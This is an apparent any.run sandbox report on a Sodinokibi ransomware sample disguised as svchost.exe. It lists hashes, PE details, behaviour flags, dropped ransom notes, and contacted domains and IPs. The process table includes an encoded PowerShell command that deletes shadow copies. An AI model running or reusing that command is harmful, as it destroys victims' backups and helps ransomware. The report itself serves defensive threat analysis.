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| File name: | svchost.exe |
| Full analysis: | https://app.any.run/tasks/4b167205-c637-4335-878e-52c99cb05cd1 |
| Verdict: | Malicious activity |
| Threats: | Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying. |
| Analysis date: | March 31, 2020, 04:09:56 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | F0BB0EC248C314950CD56060746FD80E |
| SHA1: | 87274B2402A631188A787E922B07E2E9680A94D0 |
| SHA256: | 29E5DA1F13DE425E105F065BE573793C41E5BF693CF874CDAAC69BD85C499DFD |
| SSDEEP: | 6144:xukTTnsjvgeKt4pWQSEZ1Ys29VdYE4bs69H/hCz6jfOYF6RBYRi8Uz:xusnsjvge+4sxEMJyjbseTYBYY |
MALICIOUS
Sodinokibi ransom note found
- svchost.exe (PID: 440)
Changes the autorun value in the registry
- svchost.exe (PID: 440)
Renames files like Ransomware
- svchost.exe (PID: 440)
Changes settings of System certificates
- svchost.exe (PID: 440)
SUSPICIOUS
Executes PowerShell scripts
- svchost.exe (PID: 440)
Executed via COM
- unsecapp.exe (PID: 2672)
Creates files in the user directory
- powershell.exe (PID: 3044)
Executed as Windows Service
- vssvc.exe (PID: 2248)
Application launched itself
- svchost.exe (PID: 1500)
Creates files in the program directory
- svchost.exe (PID: 440)
Creates files like Ransomware instruction
- svchost.exe (PID: 440)
Adds / modifies Windows certificates
- svchost.exe (PID: 440)
INFO
Dropped object may contain TOR URL's
- svchost.exe (PID: 440)
Reads settings of System Certificates
- svchost.exe (PID: 440)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable (generic) (52.7) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (23.4) |
| .exe | | | DOS Executable Generic (23.4) |
| .vxd | | | VXD Driver (0.3) |
EXIF
EXE
| Subsystem: | Windows GUI |
|---|---|
| SubsystemVersion: | 5.1 |
| ImageVersion: | - |
| OSVersion: | 5.1 |
| EntryPoint: | 0x2f2fa |
| UninitializedDataSize: | - |
| InitializedDataSize: | 73216 |
| CodeSize: | 97280 |
| LinkerVersion: | 14 |
| PEType: | PE32 |
| TimeStamp: | 2020:03:14 20:08:13+01:00 |
| MachineType: | Intel 386 or later, and compatibles |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 14-Mar-2020 19:08:13 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000040 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 14-Mar-2020 19:08:13 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.textbss$\xd0\x02 | 0x00001000 | 0x0002D024 | 0x00000000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.text | 0x0002F000 | 0x00002000 | 0x00001600 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 5.97006 |
.data | 0x00031000 | 0x00047000 | 0x00046C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.81209 |
.idata | 0x00078000 | 0x00001000 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.636187 |
.reloc | 0x00079000 | 0x00001000 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.17859 |
Imports
kernel32.dll |
Total processes
47
Monitored processes
5
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 1500 | "C:\Users\admin\Desktop\svchost.exe" | C:\Users\admin\Desktop\svchost.exe | — | explorer.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 440 | "C:\Users\admin\Desktop\svchost.exe" | C:\Users\admin\Desktop\svchost.exe | svchost.exe | |
User: admin Integrity Level: HIGH | ||||
| 3044 | powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2672 | C:\Windows\system32\wbem\unsecapp.exe -Embedding | C:\Windows\system32\wbem\unsecapp.exe | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Sink to receive asynchronous callbacks for WMI client application Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2248 | C:\Windows\system32\vssvc.exe | C:\Windows\system32\vssvc.exe | — | services.exe |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 511
Read events
255
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
162
Text files
1
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3044 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TCSCTHFBXBFXFQ8TCKKA.temp | — | |
MD5:— | SHA256:— | |||
| 440 | svchost.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi | — | |
MD5:— | SHA256:— | |||
| 440 | svchost.exe | C:\users\admin\downloads\l588p6-readme.txt | binary | |
MD5:4695B111DCF0E394D7AE612CFE60D64C | SHA256:D09198B80DC70085CC81CAF40DCDAAF38DA50A589CE60247F0CADAFBFEF0AD79 | |||
| 440 | svchost.exe | C:\users\administrator\l588p6-readme.txt | binary | |
MD5:4695B111DCF0E394D7AE612CFE60D64C | SHA256:D09198B80DC70085CC81CAF40DCDAAF38DA50A589CE60247F0CADAFBFEF0AD79 | |||
| 440 | svchost.exe | C:\users\admin\contacts\l588p6-readme.txt | binary | |
MD5:4695B111DCF0E394D7AE612CFE60D64C | SHA256:D09198B80DC70085CC81CAF40DCDAAF38DA50A589CE60247F0CADAFBFEF0AD79 | |||
| 440 | svchost.exe | C:\recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\l588p6-readme.txt | binary | |
MD5:4695B111DCF0E394D7AE612CFE60D64C | SHA256:D09198B80DC70085CC81CAF40DCDAAF38DA50A589CE60247F0CADAFBFEF0AD79 | |||
| 3044 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa68749.TMP | binary | |
MD5:3B712DE36DC1672EC51A90C5EE31744F | SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1 | |||
| 440 | svchost.exe | C:\users\admin\.oracle_jre_usage\l588p6-readme.txt | binary | |
MD5:4695B111DCF0E394D7AE612CFE60D64C | SHA256:D09198B80DC70085CC81CAF40DCDAAF38DA50A589CE60247F0CADAFBFEF0AD79 | |||
| 440 | svchost.exe | C:\program files\l588p6-readme.txt | binary | |
MD5:4695B111DCF0E394D7AE612CFE60D64C | SHA256:D09198B80DC70085CC81CAF40DCDAAF38DA50A589CE60247F0CADAFBFEF0AD79 | |||
| 440 | svchost.exe | C:\users\default\l588p6-readme.txt | binary | |
MD5:4695B111DCF0E394D7AE612CFE60D64C | SHA256:D09198B80DC70085CC81CAF40DCDAAF38DA50A589CE60247F0CADAFBFEF0AD79 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
72
DNS requests
65
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
440 | svchost.exe | 192.0.78.13:443 | transliminaltribe.wordpress.com | Automattic, Inc | US | malicious |
440 | svchost.exe | 157.7.156.136:443 | gw2guilds.org | GMO Internet,Inc | JP | malicious |
440 | svchost.exe | 198.54.116.129:443 | aminaboutique247.com | Namecheap, Inc. | US | suspicious |
440 | svchost.exe | 79.137.75.185:443 | n1-headache.com | OVH SAS | FR | suspicious |
440 | svchost.exe | 162.243.165.239:443 | onlyresultsmarketing.com | Digital Ocean, Inc. | US | suspicious |
440 | svchost.exe | 164.132.235.17:443 | groupe-frayssinet.fr | OVH SAS | FR | malicious |
440 | svchost.exe | 212.83.139.44:443 | philippedebroca.com | Online S.a.s. | FR | suspicious |
440 | svchost.exe | 151.101.2.159:443 | centuryrs.com | Fastly | US | unknown |
440 | svchost.exe | 104.27.188.62:443 | deschl.net | Cloudflare Inc | US | unknown |
440 | svchost.exe | 5.175.14.11:443 | tanzprojekt.com | Host Europe GmbH | DE | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
aminaboutique247.com |
| suspicious |
35-40konkatsu.net |
| malicious |
onlyresultsmarketing.com |
| suspicious |
transliminaltribe.wordpress.com |
| suspicious |
centuryrs.com |
| malicious |
n1-headache.com |
| suspicious |
oceanastudios.com |
| suspicious |
gw2guilds.org |
| malicious |
groupe-frayssinet.fr |
| unknown |
philippedebroca.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
440 | svchost.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |